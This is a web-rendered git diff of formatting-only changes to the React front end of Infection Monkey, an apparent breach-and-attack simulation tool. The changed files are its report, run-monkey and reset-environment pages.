Run Hadoop in secure mode (<a href="http://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-common/SecureMode.html">
|
||||
Run Hadoop in secure mode (<a
|
||||
href="http://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-common/SecureMode.html">
|
||||
add Kerberos authentication</a>).
|
||||
<CollapsibleWellComponent>
|
||||
The Hadoop server at <span className="label label-primary">{issue.machine}</span> (<span
|
||||
|
@ -869,8 +882,8 @@ class ReportPageComponent extends AuthComponent {
|
|||
);
|
||||
}
|
||||
|
||||
generateMSSQLIssue(issue) {
|
||||
return(
|
||||
generateMSSQLIssue(issue) {
|
||||
return (
|
||||
<li>
|
||||
Disable the xp_cmdshell option.
|
||||
<CollapsibleWellComponent>
|
||||
|
|
|
@ -1,5 +1,5 @@
|
|||
import React from 'react';
|
||||
import { css } from '@emotion/core';
|
||||
import {css} from '@emotion/core';
|
||||
import {Button, Col, Well, Nav, NavItem, Collapse} from 'react-bootstrap';
|
||||
import CopyToClipboard from 'react-copy-to-clipboard';
|
||||
import GridLoader from 'react-spinners/GridLoader';
|
||||
|
@ -48,7 +48,7 @@ class RunMonkeyPageComponent extends AuthComponent {
|
|||
|
||||
this.authFetch('/api/local-monkey')
|
||||
.then(res => res.json())
|
||||
.then(res =>{
|
||||
.then(res => {
|
||||
if (res['is_running']) {
|
||||
this.setState({runningOnIslandState: 'running'});
|
||||
} else {
|
||||
|
@ -75,7 +75,7 @@ class RunMonkeyPageComponent extends AuthComponent {
|
|||
fetchAwsInfo() {
|
||||
return this.authFetch('/api/remote-monkey?action=list_aws')
|
||||
.then(res => res.json())
|
||||
.then(res =>{
|
||||
.then(res => {
|
||||
let is_aws = res['is_aws'];
|
||||
if (is_aws) {
|
||||
// On AWS!
|
||||
|
@ -83,7 +83,12 @@ class RunMonkeyPageComponent extends AuthComponent {
|
|||
let is_error_while_collecting_aws_machines = (res['error'] != null);
|
||||
if (is_error_while_collecting_aws_machines) {
|
||||
// There was an error. Finish loading, and display error message.
|
||||
this.setState({isOnAws: true, isErrorWhileCollectingAwsMachines: true, awsMachineCollectionErrorMsg: res['error'], isLoadingAws: false});
|
||||
this.setState({
|
||||
isOnAws: true,
|
||||
isErrorWhileCollectingAwsMachines: true,
|
||||
awsMachineCollectionErrorMsg: res['error'],
|
||||
isLoadingAws: false
|
||||
});
|
||||
} else {
|
||||
// No error! Finish loading and display machines for user
|
||||
this.setState({isOnAws: true, awsMachines: res['instances'], isLoadingAws: false});
|
||||
|
@ -138,7 +143,7 @@ class RunMonkeyPageComponent extends AuthComponent {
|
|||
cmdText = RunMonkeyPageComponent.generateWindowsCmd(this.state.selectedIp, is32Bit);
|
||||
}
|
||||
return (
|
||||
<Well key={'cmdDiv'+this.state.selectedIp} className="well-sm" style={{'margin': '0.5em'}}>
|
||||
<Well key={'cmdDiv' + this.state.selectedIp} className="well-sm" style={{'margin': '0.5em'}}>
|
||||
<div style={{'overflow': 'auto', 'padding': '0.5em'}}>
|
||||
<CopyToClipboard text={cmdText} className="pull-right btn-sm">
|
||||
<Button style={{margin: '-0.5em'}} title="Copy to Clipboard">
|
||||
|
@ -219,6 +224,7 @@ class RunMonkeyPageComponent extends AuthComponent {
|
|||
});
|
||||
});
|
||||
};
|
||||
|
||||
fetchConfig() {
|
||||
return this.authFetch('/api/configuration/island')
|
||||
.then(res => res.json())
|
||||
|
@ -226,6 +232,7 @@ class RunMonkeyPageComponent extends AuthComponent {
|
|||
return res.configuration;
|
||||
})
|
||||
}
|
||||
|
||||
instanceIdToInstance = (instance_id) => {
|
||||
let instance = this.state.awsMachines.find(
|
||||
function (inst) {
|
||||
|
@ -241,7 +248,9 @@ class RunMonkeyPageComponent extends AuthComponent {
|
|||
<div style={{'marginTop': '1em', 'marginBottom': '1em'}}>
|
||||
<p className="alert alert-info">
|
||||
<i className="glyphicon glyphicon-info-sign" style={{'marginRight': '5px'}}/>
|
||||
Not sure what this is? Not seeing your AWS EC2 instances? <a href="https://github.com/guardicore/monkey/wiki/Monkey-Island:-Running-the-monkey-on-AWS-EC2-instances" target="_blank">Read the documentation</a>!
|
||||
Not sure what this is? Not seeing your AWS EC2 instances? <a
|
||||
href="https://github.com/guardicore/monkey/wiki/Monkey-Island:-Running-the-monkey-on-AWS-EC2-instances"
|
||||
target="_blank">Read the documentation</a>!
|
||||
</p>
|
||||
</div>
|
||||
{
|
||||
|
@ -250,7 +259,7 @@ class RunMonkeyPageComponent extends AuthComponent {
|
|||
style={{'marginBottom': '2em'}}>
|
||||
{this.state.ips.map(ip => <NavItem key={ip} eventKey={ip}>{ip}</NavItem>)}
|
||||
</Nav>
|
||||
: <div style={{'marginBottom': '2em'}} />
|
||||
: <div style={{'marginBottom': '2em'}}/>
|
||||
}
|
||||
|
||||
<AwsRunTable
|
||||
|
@ -263,12 +272,13 @@ class RunMonkeyPageComponent extends AuthComponent {
|
|||
className={'btn btn-default btn-md center-block'}
|
||||
disabled={this.state.awsClicked}>
|
||||
Run on selected machines
|
||||
{ this.state.awsClicked ? <Icon name="refresh" className="text-success" style={{'marginLeft': '5px'}}/> : null }
|
||||
{this.state.awsClicked ? <Icon name="refresh" className="text-success" style={{'marginLeft': '5px'}}/> : null}
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
render() {
|
||||
return (
|
||||
<Col xs={12} lg={8}>
|
||||
|
@ -283,7 +293,7 @@ class RunMonkeyPageComponent extends AuthComponent {
|
|||
disabled={this.state.runningOnIslandState !== 'not_running'}
|
||||
>
|
||||
Run on Monkey Island Server
|
||||
{ RunMonkeyPageComponent.renderIconByState(this.state.runningOnIslandState) }
|
||||
{RunMonkeyPageComponent.renderIconByState(this.state.runningOnIslandState)}
|
||||
</button>
|
||||
{
|
||||
// TODO: implement button functionality
|
||||
|
@ -302,7 +312,8 @@ class RunMonkeyPageComponent extends AuthComponent {
|
|||
OR
|
||||
</p>
|
||||
<p style={this.state.showManual || !this.state.isOnAws ? {'marginBottom': '2em'} : {}}>
|
||||
<button onClick={this.toggleManual} className={'btn btn-default btn-lg center-block' + (this.state.showManual ? ' active' : '')}>
|
||||
<button onClick={this.toggleManual}
|
||||
className={'btn btn-default btn-lg center-block' + (this.state.showManual ? ' active' : '')}>
|
||||
Run on machine of your choice
|
||||
</button>
|
||||
</p>
|
||||
|
@ -323,7 +334,7 @@ class RunMonkeyPageComponent extends AuthComponent {
|
|||
style={{'marginBottom': '2em'}}>
|
||||
{this.state.ips.map(ip => <NavItem key={ip} eventKey={ip}>{ip}</NavItem>)}
|
||||
</Nav>
|
||||
: <div style={{'marginBottom': '2em'}} />
|
||||
: <div style={{'marginBottom': '2em'}}/>
|
||||
}
|
||||
<p style={{'fontSize': '1.2em'}}>
|
||||
Copy the following command to your machine and run it with Administrator or root privileges.
|
||||
|
@ -357,7 +368,8 @@ class RunMonkeyPageComponent extends AuthComponent {
|
|||
{
|
||||
this.state.isOnAws ?
|
||||
<p style={{'marginBottom': '2em'}}>
|
||||
<button onClick={this.toggleAws} className={'btn btn-default btn-lg center-block' + (this.state.showAws ? ' active' : '')}>
|
||||
<button onClick={this.toggleAws}
|
||||
className={'btn btn-default btn-lg center-block' + (this.state.showAws ? ' active' : '')}>
|
||||
Run on AWS machine of your choice
|
||||
</button>
|
||||
</p>
|
||||
|
@ -370,9 +382,12 @@ class RunMonkeyPageComponent extends AuthComponent {
|
|||
<div style={{'marginTop': '1em'}}>
|
||||
<p class="alert alert-danger">
|
||||
<i className="glyphicon glyphicon-warning-sign" style={{'marginRight': '5px'}}/>
|
||||
Error while collecting AWS machine data. Error message: <code>{this.state.awsMachineCollectionErrorMsg}</code><br/>
|
||||
Error while collecting AWS machine data. Error
|
||||
message: <code>{this.state.awsMachineCollectionErrorMsg}</code><br/>
|
||||
Are you sure you've set the correct role on your Island AWS machine?<br/>
|
||||
Not sure what this is? <a href="https://github.com/guardicore/monkey/wiki/Monkey-Island:-Running-the-monkey-on-AWS-EC2-instances">Read the documentation</a>!
|
||||
Not sure what this is? <a
|
||||
href="https://github.com/guardicore/monkey/wiki/Monkey-Island:-Running-the-monkey-on-AWS-EC2-instances">Read
|
||||
the documentation</a>!
|
||||
</p>
|
||||
</div>
|
||||
:
|
||||
|
|
|
@ -29,7 +29,9 @@ class StartOverPageComponent extends AuthComponent {
|
|||
return (
|
||||
<Modal show={this.state.showCleanDialog} onHide={() => this.setState({showCleanDialog: false})}>
|
||||
<Modal.Body>
|
||||
<h2><div className="text-center">Reset environment</div></h2>
|
||||
<h2>
|
||||
<div className="text-center">Reset environment</div>
|
||||
</h2>
|
||||
<p style={{'fontSize': '1.2em', 'marginBottom': '2em'}}>
|
||||
Are you sure you want to reset the environment?
|
||||
</p>
|
||||
|
@ -40,7 +42,7 @@ class StartOverPageComponent extends AuthComponent {
|
|||
Some monkeys are still running. It's advised to kill all monkeys before resetting.
|
||||
</div>
|
||||
:
|
||||
<div />
|
||||
<div/>
|
||||
}
|
||||
<div className="text-center">
|
||||
<button type="button" className="btn btn-danger btn-lg" style={{margin: '5px'}}
|
||||
|
@ -75,7 +77,8 @@ class StartOverPageComponent extends AuthComponent {
|
|||
<button className="btn btn-danger btn-lg center-block"
|
||||
onClick={() => {
|
||||
this.setState({showCleanDialog: true});
|
||||
this.updateMonkeysRunning();}
|
||||
this.updateMonkeysRunning();
|
||||
}
|
||||
}>
|
||||
Reset the Environment
|
||||
</button>
|
||||
|
@ -86,7 +89,7 @@ class StartOverPageComponent extends AuthComponent {
|
|||
You can continue and <Link to="/run-monkey">Run More Monkeys</Link> as you wish,
|
||||
and see the results on the <Link to="/infection/map">Infection Map</Link> without deleting anything.
|
||||
</div>
|
||||
{ this.state.cleaned ?
|
||||
{this.state.cleaned ?
|
||||
<div className="alert alert-success">
|
||||
<i className="glyphicon glyphicon-ok-sign" style={{'marginRight': '5px'}}/>
|
||||
Environment was reset successfully
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue